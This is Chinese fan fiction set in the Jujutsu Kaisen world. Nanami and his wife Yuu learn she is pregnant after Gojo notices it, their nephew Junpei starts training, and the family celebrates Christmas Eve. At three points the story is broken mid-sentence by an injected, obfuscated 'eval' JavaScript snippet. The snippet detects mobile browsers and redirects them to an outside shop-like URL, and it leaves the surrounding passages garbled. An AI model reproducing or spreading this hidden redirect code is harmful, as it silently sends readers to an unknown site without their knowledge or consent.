悠看着他的背影——宽肩窄腰,肌肉线条流畅,还有咬恨。 那是她昨晚咬的。 脸更红了。 七海放好热水,回来抱她去浴室。 泡在温热的水里,悠舒服地叹了口气。 七海也进了浴缸,从背后抱住她,手轻轻按摩她酸痛的腰。 “七海海”悠靠在他怀里,小声说,“昨天…那个……” “我知道,是安全期。”七海的手停在她小腹上,“悠,你想要孩子吗?” 悠沉默了一会儿:“………想。但是七海海呢?你想要吗?” 七海没有立刻回答。 他想要吗? 当然想。 一个他和悠的孩子,一个属于他们的家。 但是— “你还年轻,事业在上升期。”他缓缓说,“如果现在怀孕,可能会影响你的工作。” “可是如果有了,我会生下来的。”悠转身看着他,“而且我可以一边画漫画一边带孩子。真由美也说,现在很多漫画家都是妈妈。” 七海看着她认真的表情,心里一软:“如果真的有了,我会支持你。工作可以调整,也可以请保姆。但是悠,你真的想好了吗?怀孕、生产、育儿·……都很辛苦。” “有七海海在,我不怕。”悠靠回他怀里,“而且我想看看,我们的孩子会是什么样子。是像你一样金发,还是像我一样黑发?是像你一样严肃,还是像我一样爱笑?” 七海想象着那个画面———个软软的小婴儿,可能有他的眼睛,悠的鼻子。 会哭,会笑,会叫爸爸妈妈。 心里某个地方变得异常柔软。 “那就顺其自然。”他吻了吻她的头发,“如果有了,我们就好好迎接他。如果没有,我们就继续享受二人世界。” “嗯。”悠点头,然后想起什么,“对了七海海,昨天你们酒局上,有没有听到什么有趣的事?” 七海想起佐藤说的镜子传闻:“有。一个都市传说,关于镜子里会出现陌生人的脸。” 悠眼睛一亮:“这个设定好!可以用在漫画里!详细说说!” 七海简单复述了一遍。 悠听得认真,不时提问。 “所以,可能是集体幻觉,也可能是····别的?”她问。 “大概率是集体幻觉。”七海说,“但如果是咒灵作祟,这类事件一般会有咒术师后续去处理。” “那你之前提到的窗?” “嗯,它是咒术界的侦查部门。”七海解释,“他们会监控全国范围内的异常事件,评估等级,然后分配给咒术师处理。” “那这个镜子事件…” “如果真的是咒灵,而且等级不高,应该很快会被处理。”七海说,“所以我们不担心,过几天可能就有‘警方澄清是恶作剧的新闻了。” 悠点点头,但心里已经把这个设定记下来了——镜子里的陌生人,逐渐取代真实的人。 两人泡完澡,七海帮悠擦干身体,抱回床上。 他拿来药膏,小心地给她上药。 悠害羞得把脸埋在枕头里,但七海动作很温柔。 “饿不饿?”七海问,“我去做午餐。” “饿……”悠小声说,“想吃七海海做的松饼。” “好,等我。” 七海穿上衣服去厨房。 悠躺在床上,听着厨房传来的声音。 昨天七海海失控的样子…… 手不自觉地抚上小腹。 如果真的有宝宝了,七海会是什么表情? 还是会那么严肃吗?还是会露出温柔的笑容? 她想象着七海抱着婴儿,笨拙但认真地哄孩子的样子,忍不住笑了。 厨房里,七海正在做松饼。 面糊在平底锅里慢慢凝固,发出滋滋的声响。 如果真的怀孕了……他会做一个好父亲。 就像他对顺平那样,严格但不失温柔,可靠但不乏关爱。 但如果是女儿呢? 如果是像悠一样的女儿,软软的,爱笑的,会撒娇的·… 他想象着一个小女孩拉着他的裤腿叫“爸爸”的样子,手里的动作顿了顿。 然后,嘴角微微上扬。 很轻的弧度,但确实在笑。 十一月初,东京的气温骤降。 公寓楼下的银杏树几乎一夜之间掉光了叶子,金黄的落叶铺满了人行道。 一楼管理室的告示板上,303室“已出租”的通知贴在最显眼的位置。 坂本太太用冻得发红的手抚平通知单的边角,对来交房租的吉野凪说:“可算租出去了,房东松了一大口气。” “是那对年轻情侣吗?”吉野凪哈着白气问道。 “对,前天签的合同。男孩子叫佐藤亮,女孩子叫铃木美雪。”坂本太太压低声音,“两人看起来倒是登对,就是相处起来怪怪的……签合同的时候几乎不说话,眼神都不怎么对视。” 吉野凪点点头,心里记下了这对奇怪的情侣。 室内温度暖和。 悠正盖着小毯子在书台前修改分镜稿,听到敲门后的开门声转过头来:“凪姐来啦?” “嗯,买了晚上涮火锅的材料。”吉野凪把食材放进厨房,搓着手走出来,“对了小悠,那个一直空着的303租出去了,是一对年轻情侣。坂本太太说他们相处起来气氛有点僵。” 悠的笔尖顿了顿:“希望是好相处的邻居。” 三天后的傍晚,新邻居搬了进来。 搬家过程安静得反常,只有几个纸箱和一个看起来用了很久的双人沙发堆在门口。 悠下楼扔厨余垃圾时,遇见了正吃力地往楼上搬小冰箱的佐藤亮。 “您好。”年轻人见到她,急忙放下箱子鞠躬,“我是303的新租客,佐藤亮。请多关照!” “我是606的七海悠,请多关照。”悠微笑道,“需要帮忙吗?” “不用不用,东西不多。”佐藤亮连忙摆手,额头上渗出细汗,“就是冰箱有点沉……美雪,来打个招呼。” 从他身后走出一个长发女孩,五官精致但脸色苍白,眼睛下方有淡淡的阴影。 她微微躬身:“铃木美雪。请多关照 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154089|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 悠注意到女孩左手腕上有几道已经愈合但仍隐约可见的浅疤,像是很久以前留下的。 两人站在一起时保持着微妙的距离——不算远,但就是有种说不出的疏离感。 接下来几天,公寓的老住户们对新邻居表现出了好奇。 坂本太太送了自制的腌菜去搭话,五楼双胞胎的外婆送了手作点心,吉野凪也送了些多余的日用品。 不过303的门大多时候紧闭着,只有深夜时分,会隐约传来压抑的争执声。 “……我说了别动我的东西!” “我只是想帮你整理!” “我不需要!你能不能尊重一下我的隐私?” “尊重?我每天打两份工到晚上十点回来,你想让我睡客厅吗?” 然后是摔门声,低低的啜泣声,漫长的沉默。 第二周是连绵的阴雨天,悠在工作台前画画时又听到了这样的声音。 她放下笔,望向墙壁的方向。 暗红色的线从303渗透出来,像有生命的触须在空气中痛苦地扭动、缠绕,绷紧到几乎要断裂的程度。 这不是好兆头。 悠想起了七海曾说过的话——强烈的负面情绪容易吸引某些“不干净的东西”。 等七海海下班了,她提一下好了。 下午顺平放学后来到606。 他放下书包时动作有些犹豫,似乎在思考什么。 “怎么了顺平?”悠从厨房端出刚烤好的饼干,“脸色不太好啊。” “没什么……”顺平接过饼干,沉默地咬了一口,然后像是下定了决心,“小姨,最近你有没有觉得……公寓里有点怪怪的?” 悠心里一动,“怪怪的?怎么说?” “就是……”顺平斟酌着用词,“晚上经过三楼的时候,总觉得特别冷。不是天气的那种冷,是……从骨头里透出来的冷。而且有时候能听到奇怪的声音,像是有人在哭,又像是在吵架,但仔细听又没了。” 他顿了顿,声音压得更低:“还有,我最近做噩梦的次数变多了。梦里总是看到红色的线,很多很多,把人缠成一团……” 悠听着顺平的描述,有点疑惑她能看见那些线,但顺平应该看不见才对。 除非—— “你跟你姨夫说过这些吗?”她问。 顺平摇摇头:“姨夫最近工作很忙,我不想打扰他。而且……我也不能确定是不是自己想多了。可能只是最近写恐怖小说写多了,想象力太丰富。” 悠想了想,决定换个角度问:“顺平,你最近……是不是对周围环境的感知变敏锐了?” 顺平愣了一下,然后缓缓点头:“好像是的。有时候走在街上,会突然觉得某个角落‘不对劲’,但又说不出哪里不对。还有,遇到某些人时会觉得特别压抑,想赶紧离开。” 他抬起头,眼神中有一丝困惑:“悠小姨,这是正常的吗?还是我……有什么问题?” “你没有任何问题。”悠认真地说,“有些人天生对环境的感知就比较敏锐,这很正常。不过如果你觉得困扰,可以跟姨夫聊聊,他……对这方面有些经验。” 她选择了谨慎的措辞。 顺平有咒术师的潜能,这一点她和七海都清楚,但谁也没有挑明。 他们希望至少在顺平成年前,让他能像个普通孩子一样生活。 “经验?”顺平敏锐地捕捉到了这个词。 “嗯,他以前接触过一些……比较特殊的工作。”悠含糊地带过,“总之,如果你有什么觉得不对劲的地方,可以告诉我们。不要自己一个人胡思乱想,好吗?” 顺平点点头,表情放松了些:“我知道了,谢谢小姨。” 42. 措手不及的消息 晚上七海回家后,悠把顺平的话告诉了他。 七海推了推眼镜,表情严肃,“感知在增强,这是咒力觉醒的前兆。比他这个年纪的正常觉醒速度要快一些。” “是因为之前的那些经历吗?”悠问,“油脂亭事件,还有公寓那件事……” “很可能。”七海点头,“频繁接触异常事件会加速觉醒过程。而且顺平本身天赋就不错,只是之前一直被压抑着。” 他沉思片刻:“我该教他一些基础的方法了。在咒力完全觉醒前建立好基础,对他将来的安全很重要。” “可是这样不就等于告诉他……”悠有些犹豫。 “我会用他能接受的方式。”七海说,“缓和一点,就当是一种……特别的冥想训练。在他自己意识到咒力那是什么前,先打好基础。” 悠看着七海认真的侧脸,心里涌起复杂的情绪。 他们一直在保护顺平远离那个世界,但有些天赋注定是藏不住的。 就像她自己的能力,就像七海曾经的职业,就像这个孩子正在觉醒的咒力。 命运的红线,早已在不知不觉中缠绕在了一起。 雨季持续一周,天气终于放晴。 七海去商业街的书店为悠采购新的绘画书,她原本要同行,但早上起来有些反胃,便留在家里休息。 “我很快回来。”七海出门前俯身吻了吻她的额头,“不舒服随时打电话。” “帮我带街角那家的草莓大福~”悠靠在沙发上,抱着热水袋。 商业街午后的人流比预想中多。 七海买完书,去点心店排队。 温暖的阳光照在身上,让人几乎忘了已是入冬。 “哟,这不是七海吗?” 轻快的声音从身后传来。 七海身体几不可察地顿了一下,随即恢复常态。 他转过身,看见那个熟悉的身影——白色头发,标志性的墨镜,一身黑色高专制服,手里拎着好几个印着仙台特产店标志的购物袋。 “五条前辈。”七海推了推眼镜,“好久不见。” “好久不见好久不见~”五条悟自然地站到他身边排队,仿佛两人昨天才见过面,“真巧啊,你也来买点心?这家的草莓大福确实不错,不过我推荐毛豆生奶油味的,仙台特产哦。” “前辈去仙台了?” “出差啦~顺便带点伴手礼。”五条悟晃了晃购物袋,“对了,你结婚了真不够意思啊,连张请柬都没给我们,亏我们还拖伊地知送你新婚礼物。” “只是简单的登记。”七海平静地说,“我们不喜欢热闹。” “理解理解~”五条悟点点头,语气随意但意有所指,“说起来,这一带最近有点小麻烦呢。旅馆的红线事件,听说了吗?” 七海眼神微动:“略有耳闻。已经解决了?” “解决了,一级咒灵,以人际关系负面情绪为食的那种。”五条悟的语气轻松得像在讨论午餐吃什么,“不过这类咒灵很麻烦,容易留下残秽。这条街离旅馆不远,残秽浓度稍微有点高呢。” 他顿了顿,墨镜下嘴角勾起一个玩味的弧度:“当然啦,对现在的七海来说应该感知不到了吧?毕竟已经是‘普通上班族’了嘛。” “略有耳闻,但与我无关。我现在只是个普通人。”七海回答得平静无波。 就在这时,两个熟悉的身影从街对面走来——是悠和顺平。 悠手里提着一个小纸袋,脸色比早上好了些,正笑着和顺平说什么。 顺平认真听着,偶尔点头。 七海微微一怔。 他记得出门时悠说要在家休息。 悠也看见了他,眼睛一亮,挥手示意。 两人穿过马路走过来。 “七海海~”悠小跑过来,自然地挽住他的手臂,“我好多啦,而且忽然想吃那家的可丽饼,估计你也快回来说不定能偶遇一下,就拉着顺平出来了。果然碰到你~” 然后她注意到七海身边的人,礼貌地点头:“您好。” 五条悟的目光落在悠身上。 时间仿佛被拉长了半秒。 他脸上的笑容没有消失,从随意的社交性微笑,到发现新大陆一样兴奋地捂着脸原地起跳,随后是隔着墨镜都能让人感受到的专注审视。 五条悟扯下墨镜,露出那双苍蓝色的眼睛,七海能清晰地感应到,那双眼睛正在全速运转,他回握悠的胳膊有些紧绷。 五条悟盯着悠看了整整三秒。 然后他猛地移开视线,带上墨镜,抬手按住太阳穴。 “哇哦……”他低声说,声音里带着罕见的、真实的惊讶,“这可真是……意料之外的惊喜。” “前辈?”七海上前半步,将悠挡在身后。 五条悟重新露出微笑,像一个试图打翻水杯的屑猫正在摇尾巴,但笑容里多了些说不清道不明的东西:“抱歉抱歉,职业病犯了。这位就是弟妹吧?怎么,不介绍一下?” “我的妻子,悠。”七海简短地说,又对悠介绍,“这位是五条悟,我以前高专的前辈。” “五条先生,您好。”悠再次点头,然后拉了拉顺平,“这是我侄子,顺平。” 顺平礼貌地鞠躬:“您好。” 五条悟的目光转向顺平,这次停留的时间短了些,但七海注意到他眉梢几不可察地抬了一下。 “你好啊小朋友~”五条悟的语气恢复了一贯的轻快,“一家人出来逛街?真温馨呢~不过小朋友,你最近是不是经常做噩梦?或者……觉得周围有些地方‘不对劲’?” 顺平身体一僵,下意识地看向七海。 七海平静地开口:“顺平最近确实有些睡眠问题,可能是学习压力大。” “学习压力啊……”五条悟拖长声音,意味深长地说,“那最好找个专业的心理老师咨询一下。或者,等明年四月,来我们学校看看?我们学校的‘心理辅导’课程很不错哦~” “前辈。”七海的声音冷了一度。 “开个玩笑开个玩笑~”五条悟摆摆手,目光又落回悠身上,面上还是嘻嘻哈哈的拍了拍七海的肩膀,“不过七海,你真是娶了一位……” 他停顿了一下,像是在寻找最准确的措辞:“好妻子!悠酱……很有意思。让我需要多看几秒才能确定——哦不,是确定‘非常有意思’。” 七海没有接话,只是将悠护得更紧了些。 “喂喂──七海你那是什么眼神?”五条悟笑了,“不过算了,每个人都有秘密。我只是想说——弟妹,你最近是不是很容易疲劳?早上会反胃?” 悠一愣:“您怎么知道?” “猜的~”五条悟从购物袋里掏出一个小盒子,越过七海递给悠,“仙台特产,毛豆生奶油大福。孕妇吃这个不错,补充能量。” 空气仿佛在这一刻凝固了。 悠睁大眼睛,手下意识地抚上小腹。 七海的身体明显僵硬了一瞬。 连顺平都愣住了。 五条悟像是完全没注意到他们的反应,继续用那种闲聊般的语气说:“四周左右吧?状态看起来很好呢。恭喜啊七海,要当爸爸了。” 他看了眼手表——一个很做作的动作:“哎呀,我真得走了,还有收尾工作要做。七海,改天请你喝酒庆祝~弟妹,小朋友,再见啦~” 他挥挥手,转身汇入人流,白色头发在人群中格外显眼,几步就不见了踪影。 留下三人站在原地,久久没有动弹。 从医院回家的路上,悠一直把那张B超照片紧紧握在手里。 黑白影像上那个小小的孕囊还看不清形状,但医生清晰的声音仍在耳边回响:“怀孕四周,一切正常。孕酮水平很好,胚胎发育得很好。” 七海专注地开车,偶尔从后视镜看她一眼。 他的表情很平静,但握方向盘的手比平时用力。 顺平坐在后座,安静地看着窗外飞逝的街景,但从他紧绷的肩膀能看出内心的不平静。 回到家,吉野凪已经在家等着了——是七海在路上打电话请她上来的。 看到三人进门,吉野凪紧张地站起来:“怎么样?检查结果……” 悠把B超照片递给她,声音有些发懵:“四周了……医生说很健康……” 吉野凪接过照片,手开始颤抖。 她捂住嘴,眼泪毫无预兆地涌出来:“太好了……真的太好了……” 她抱住悠,又哭又笑:“外婆在天之灵一定会高兴的……我们悠酱要有自己的宝宝了……” 等情绪稍微平复,四人坐在客厅里。 茶几上摆着热茶,但没人去碰。 “凪姐,顺平,”七海推了推眼镜,表情是罕见的严肃,“今天在医院之前,还有一件事发生。我们在街上遇到了我以前读书时的一位前辈,五条悟。” 吉野凪擦眼泪的手停住了:“就是今天顺平在电话里提到的那位……” “是的。”七海点头,“他是……某个特殊领域目前最顶尖的专家之一。今天在街上,他一眼就看出了悠怀孕,也看出了一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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顺平低着头,双手紧紧攥着放在膝盖上。 良久,他抬起头:“姨夫,那位五条先生说……学校。” “他现在在东京专门的咒术高等专门学校任职。”七海解释道,“培养咒术师人才的地方。如果你真的有这方面的天赋,并且想走这条路,那里是一个选择,可以先去学习。” “我……”顺平的声音很轻,但异常清晰,“我想试试。” “顺平!”吉野凪抓住他的手。 “妈妈,”顺平看着母亲,眼神是从未有过的坚定,“我不是一时冲动。从很久以前开始,我就觉得这个世界……和我看到的不太一样。有时候会莫名地感到恐惧,有时候会觉得某些地方‘不对劲’,最近这种感觉越来越明显了。” 他看向七海:“姨夫,我想变得更强。想保护妈妈,保护小姨,保护未来的弟弟妹妹。而且……我也想帮助那些被诅咒困扰的人。” 七海看着他,看到了顺平眼中的坚定。 这一刻,他想起了很多——想起了灰原,想起了自己年轻时的理想,想起了那些曾经想要保护的东西。 “如果你真的想好了,”七海最终说,“明年四月,我陪你去高专看看。在那之前,我会教你一些基础,让你做好准备。” 吉野凪的眼泪又流下来,但这次,她点了点头:“如果这是顺平认真考虑后的选择……我支持。” 悠握住吉野凪的手:“凪姐,我们会陪着顺平的。七海会教他保护自己,不会让他有事的。” “我知道……”吉野凪擦着眼泪,“只是当妈的……总是忍不住担心……而且听起来一点也不……”安全。 后面的两个字她没说出口。 那天晚上,吉野凪和顺平离开后,悠靠在七海怀里,手轻轻放在还平坦的小腹上。 “七海海,五条先生他……” “他是咒术界目前的最强咒术师。”七海推了推眼镜,声音有些低沉,“他的‘六眼’能看穿一切咒力流动和事物本质。能看到你怀孕……不奇怪。” “那他说的‘特别’……” 七海沉默了一会儿,握住她的手:“悠,你的能力很特殊,即使是我也不能完全理解。五条前辈的六眼能看到更多,但他既然没有深究,就说明他尊重我们的隐私。” 悠想了想:“那他给的大福我能吃嘛?” “馋猫。”七海的手覆在她手上,“虽然方式很‘五条悟’,但确实是祝福,但不能吃太多,会积食。” 悠笑了,点点他的脸颊“七海海,你说我们的宝宝……将来会像谁多一点?” “健康平安就好。”七海认真地说,“至于像谁……我们可以慢慢发现。” 43. 平安夜 十二月初,303的租客悄无声息地搬走了。 坂本太太说,是某个凌晨时分离开的,连押金都没要。 房间里干净得不留一丝生活痕迹,只是推开门时会感到一股莫名的寒意。 “那对小年轻啊,”房东在楼道里抽烟,脸色晦暗,“说是彻底分手了,各自回老家。走的时候两个人看起来都……解脱了,但又像失去了什么重要的东西。” 悠在倒垃圾时听到了这段对话。 她站在303门前,能看见门把手上残留的暗红色线痕——那是强烈情感纠葛留下的印记,在她眼中清晰可见。 她伸出手指,在空中轻轻一划。 那些线痕化作细微的尘埃,消散在空气中。 与此同时,商业街前几天出现的事件,警方给出了最终结论:“经相关部门调查鉴定,此前涉谷区某旅馆出现的情侣住客死亡事件,调查发现系感情纠纷导致的殉情,排除刑事案件。目前旅馆已全面整改完毕。” 很官方的解释,足以让大多数人安心。 那个以情侣负面情绪为食的咒灵已被祓除,残秽也会随时间消散。 但那对从303离开的年轻人,他们的人生已经永远改变了。 从那天坦白后,顺平的“特殊训练”正式开始了。 每周二、四还有周末晚上,七海会教他基础的咒力知识,以及一些简单的体术动作和技巧。 “顺平无论将来你选择哪条路,身体和意志的控制都是基础。”七海严肃地说,“保持冷静,专注当下——这比任何能力都重要。” 顺平学得很认真。 不到一个月,他已经能很好地掌握一些体术动作。 “进步很快。”七海难得地夸奖,“但记住,基础需要反复锤炼。” “我明白。”顺平点头,额前的碎发被汗水打湿。 训练结束后,悠和吉野凪会准备简单的夜宵。 几个人围坐在茶几旁,吃关东煮,聊着家常。 “对啦小姨!我们学校今年文化祭的鬼屋设计定稿了。”顺平小口喝着茶语气雀跃,“我写的背景故事被采用了。” “太好了!”悠眼睛一亮,“到时候我们全家一起去给你捧场~” “嗯……”顺平脸微红,“不过可能有点吓人,小姨你现在……” “我没那么脆弱啦。”悠笑着说,“而且宝宝也需要提前接受艺术熏陶嘛~” 七海看着悠和顺平讨论鬼屋设计时活力满满的样子,和吉野凪对上同样的神色,两个人无奈的笑着。 圣诞节前,七海收到了五条悟的邮件。 内容很简洁:“高专招生简章发你了。带小朋友来看看?顺便,孕妇注意营养。ps:毛豆生奶油大福记得放冰箱。” 七海把邮件给悠看。 悠笑了:“五条先生……还挺细心的。” “他一向如此。”七海推了推眼镜,“表面随性,实则比谁都考虑周全。” “那我们要带顺平去高专看看吗?” “明年三月吧。”七海说,“让他亲眼看看,再做最终决定。” 窗外的东京飘起了今冬第一场雪。 细小的雪花从灰白的天空缓缓降落,覆盖了街道和屋顶。 悠靠在七海怀里,手轻轻放在微隆的小腹上。 宝宝已经两个多月了,虽然还感觉不到胎动,但她现在更容易疲惫了,口味变得挑剔,情绪像春天的天气一样多变。 “七海海,”悠轻声说,“你说我们的宝宝……会喜欢这个世界吗?” “我们会让他喜欢。”七海的手覆在她手上,“带他看美好的事物,教他感受温暖,保护他远离伤害……然后,让他自己决定如何爱这个世界。” 悠转过身,面对他。 在温暖的灯光下,七海的眼睛温柔坚定。 她觉得,无论未来有多少未知和挑战,只要有这个人在身边,有这个家在身后,就没什么好怕的。 窗外,雪花静静飘落。 东京的夜景在雪幕中朦胧如画。 屋里暖气开得很足,茶几上的热茶冒着白气,空气里弥漫着安宁的气息。 傍晚六点刚过,客厅只开着一盏落地灯,暖黄的光晕笼罩着沙发区域。 电视正播放着晚间狗血剧的重播——女主角在雨中哭泣,男主角撑伞出现,背景音乐煽情得夸张。 悠整个人陷在沙发里,身上裹着厚厚的针织毯,膝盖上放着绘图板,但她的手已经停在半空中足足三分钟了。 屏幕上的分镜稿完成了三分之二,剩下最关键的两页恐怖场景却毫无进展。 “唉……”她长长叹了口气,索性把绘图板放到一边,抱起旁边的抱枕,眼睛盯着电视屏幕。 玄关传来钥匙转动的声音。 七海推门进来,肩头还带着室外的寒气。 他脱掉大衣挂好,换了拖鞋走进客厅,看到的就是这幅景象——电视里正在上演拥抱戏码,他的妻子蜷在沙发上,绘图板被冷落在一旁,表情是那种熟悉的、混合着愧疚和“再拖一会儿也没关系”的心虚。 “我回来了。”七海说,在门口缓了一会褪掉寒气后才走到沙发边俯身,自然地在她额头上亲了一下。 他的嘴唇微凉,带着外面冬天的味道。 “欢迎回来……”悠的声音闷闷的,“今天又没画完。” “截稿日还有几天?”七海松开领带,在她身边坐下。 “后天……”悠把脸埋在抱枕里,“可是最关键的两页怎么也画不好。编辑今天发了三封邮件提醒我进度……” 七海看了看绘图板上已经完成的部分。 “这两页要画什么?”他问。 “女主角发现那些线其实都来自同一个源头……”悠坐起来,比划着,“需要画一个从狭窄通道里慢慢爬出来的……东西。我知道该怎么构图,可是每次下笔都觉得不够恐怖。” 七海思考了几秒:“我买了你昨天想吃的草莓奶油蛋糕。” 悠的眼睛立刻亮了:“真的?” “嗯,不过要吃完晚饭才能吃。”七海站起身,朝厨房走去,“今晚吃炖菜可以吗?你早上说有点想吃热乎乎的东西。” “好!”悠也跟着站起来,亦步亦趋地跟在他身后进了厨房,“七海海,你说我要是今晚熬夜画……” “不可以。”七海从冰箱里拿出蔬菜,头也不回地打断她,“医生说了要保证睡眠。而且你上周熬夜之后,第二天吐了三次。” 悠噎住了,小声嘟囔:“那是意外嘛……” “不是意外,是你没有好好照顾自己。”七海转过身,表情严肃但眼神温和,“截稿日还有两天,每天画一点总能完成。现在,你要么去客厅继续看电视剧,要么在这里帮我洗菜。” 悠选择了后者。 她站在七海旁边,拿起胡萝卜慢慢清洗。 厨房里很快响起切菜的声音,规律而令人安心。 窗外的夜色渐浓,可以看见对面公寓楼亮起的点点灯火。 “对了,”七海忽然说,“今天公司楼下新开了一家热饮店,同事说他们的热可可很不错。我买了两包可可粉回来。” “诶?真的吗?”悠的眼睛又亮了,“现在可以喝吗?” “炖菜快好的时候可以煮一杯。”七海嘴角微不可察地弯了一下,“不过不能太烫,慢慢喝。” “嗯!”悠用力点头,洗菜的动作都轻快。 晚上七点半,炖菜的香气弥漫厨房。 两人对坐在餐桌旁,电视还开着,狗血剧已经播到下一集——这次是女主角失忆,男主角假装陌生人接近她的桥段。 “这也太扯了,”悠舀了一勺炖菜,眼睛盯着电视,“上周她还是商界女强人,这周就失忆变成小白兔了?” “人设连续性确实有问题。”七海客观评价,“不过收视率好像很高。” “因为大家就爱看这种啊,”悠笑了,咬了一口炖得软烂的胡萝卜,“明明知道很扯,但还是会想知道接下来会发生什么。就像恐怖漫画一样,读者一边说‘好可怕’,一边忍不住往下翻。” 七海看了她一眼:“你的漫画评论区,读者确实经常这么说。” “你看我的评论区了?”悠有些惊讶。 “偶尔。”七海平静地承认,“想了解读者对你作品的反馈。” 悠心里涌起一阵暖意。 七海海就是会用实际行动关注她的一切。 吃完饭,七海煮了热可可,牛奶在锅里微微冒泡时加入可可粉,慢慢搅拌,最后撒上一点点棉花糖碎。 他端着两杯可可回到客厅,递给她一杯温度刚刚好的。 悠小心地抿了一口,浓郁的巧克力香气混合着奶味在口腔里化开,温暖一路蔓延到胃里。 她满足地叹了口气,整个人陷进沙发更深处。 “好幸福……” 七海在她身边坐下,也喝了一口自己的可可。 他其实不太嗜甜,但陪她一起喝的感觉不错。 窗外又开始飘雪了。 细小的雪花在路灯的光晕里旋转落下,静悄悄的。 电视里,失忆的女主角正和假装陌生人的男主角在圣诞树下相遇,背景响起圣诞颂歌。 “说起来,明天就是平安夜了。”悠看着窗外的雪,“时间过得好快。” “嗯。凪姐和顺平明天下午会过来。”七海说,“礼物我已经准备好了。” “啊!我还没包礼物!”悠突然坐直身体,随即又垮下肩膀,“可是稿子还没画完……” “礼物包装我可以帮忙。”七海说,“你专注于稿子就好。” 悠看着他,突然凑过去在他脸颊上亲了一下:“七海海最好了。” 七海笑着回吻上去“……好好画稿子就是对我最好的回报。” “知道啦知道啦。”悠笑着,把剩下的热可可喝完,重新拿起绘图板。 平安夜当天。 悠趴在绘图板前,头发随意扎成团子,眼下有淡淡的黑眼圈,但眼神异常专注。 笔尖在数位屏上飞快移动,发出细微的“沙沙”声。 书房门被轻轻推开。 七海已经穿戴整齐准备去上班,手里端着一杯温水。 “画完了?”他轻声问。 “最后一页了……”悠头也不抬,“再给我半小时,不,二十分钟就好!” 七海把水杯放在她手边,看了看屏幕上的画面:“这个场景,上个月那个废弃地铁站的新闻?” “诶?你看出来了?”悠终于抬头,眼睛亮晶晶的,“就是那个!怎么样,恐怖吗?” 七海认真看了几秒:“很恐怖。会让人产生眩晕感。” “对吧对吧!我要的就是这种效果!”悠得到肯定,干劲更足了,“等我画完这个阴影……好了!” 她终于放下笔,长舒一口气,整个人向后靠在椅背上:“完成了……赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154091|196498||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上了……” 七海走到她身后,手轻轻放在她肩上:“辛苦了。” 悠仰头看他,笑了:“其实画完感觉还不错。虽然拖延了很久,但最后关头还是画出来了。” “你一直都是这样。”七海说,声音里带着一丝无奈的笑意,“每次都拖到最后一刻,但每次都能交出超出编辑预期的作品。” “这叫压榨潜力!”悠理直气壮,然后打了个哈欠,“不过现在真的好困……” “去睡一会儿。”七海轻轻把她拉起来,“稿件我来帮你发给编辑。” “诶?可以吗?” “密码是你生日加我们的结婚纪念日,我知道。”七海推了推眼镜,“睡醒再检查一遍,确认无误后再正式提交。” 悠确实困得不行了,点点头,摇摇晃晃地走回卧室。 钻进被窝的瞬间,她几乎立刻睡着了。 七海回到书房,按照悠平时的工作流程,将稿件整理好,备份,然后登录她的工作邮箱。 收件箱里静静躺着编辑发来的三封未读催稿邮件。 他回复了一封简短邮件:“稿件已完成,请查收附件。圣诞快乐。” 点击发送。 窗外,平安夜的早晨阳光很好,屋顶和街道上覆着薄薄一层白色。 七海站在窗边看了一会儿,然后轻轻拉上窗帘,让卧室保持昏暗。 出门前,他在悠的枕头边放了一张纸条: “稿子已发。冰箱里有布丁,睡醒可以吃。晚上见。——老公” 下午四点,顺平和吉野凪来了。 吉野凪带来了自己烤的圣诞饼干和蛋糕,顺平手里则拎着一个看起来就很重的纸袋。 “小姨,这是我和妈妈一起选的。”顺平有些不好意思地把纸袋递给悠,“是孕妇专用的护腰枕,妈妈说后期会需要……” “谢谢顺平,谢谢风姐!”悠开心地接过,立刻拆开看了看——是一个U形的大枕头,面料柔软。 “还有这个,”吉野风又拿出一个小盒子,“我自己织的婴儿袜子,虽然不知道是男孩女孩,所以用了淡黄色。” 袜子是小小的,只能勉强套进悠的大拇指,但针脚细密,非常可爱。 “好小……”悠轻声说,想象着未来会有这样一双小脚穿上它,心里软成一片。 七海在一旁准备晚餐。 今年的圣诞餐是烤鸡、土豆泥、蔬菜沙拉和吉野风带来的蛋糕。 餐桌上,顺平说起学校文化祭的后续“那个鬼屋很成功,好多人都被吓到了。而且因为我们班的设计拿了奖,下学期可以优先选择文化祭摊位位置。” “顺平写的剧本特别吓人。”悠笑着说,“我都想看了。” “还是不要了,”七海平静地插话,“你现在不适合受惊吓。” “也是……”悠摸了摸小腹,“宝宝可能会被吓到。” 饭后,他们交换了礼物。 悠收到了顺平选的手套和吉野风格外织的小玩偶,七海收到了一条深灰色的羊毛围巾——是悠偷偷织了一个月的成果,虽然针脚有点不匀称。 “第一次织,可能不太好……”悠有点不好意思。 七海把围巾绕在脖子上,认真地说:“很暖和。我很喜欢。” “我的呢我的呢?”悠期待地看着他。 七海从房间里拿出一个扁平的盒子。 悠拆开,里面是一套非常专业的漫画绘图笔刷,还有一块新的数位屏贴膜。 “你上次说笔刷有点磨损了,贴膜也该换了。”七海推了推眼镜,“店员推荐了这套,说适合画细节。” 